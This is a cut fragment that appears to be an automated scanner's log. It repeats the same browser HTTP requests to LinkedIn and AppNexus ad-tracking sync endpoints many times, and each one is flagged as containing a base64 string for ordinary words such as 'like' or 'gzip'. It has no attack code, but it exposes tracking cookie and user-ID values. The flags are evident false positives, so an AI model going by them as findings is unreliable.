cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "1391f723" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "91e0" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "4064" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8cb8" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "08df8de6ce67" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Priority" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2Host: px.ads.linkedin.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67"Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "222166F75FD3671F181970045E3D66DC" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gdpr" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "253A" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "252F" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "2526code" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "253D222166F75FD3671F181970045E3D66DC" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "2526gdpr" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "253D" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 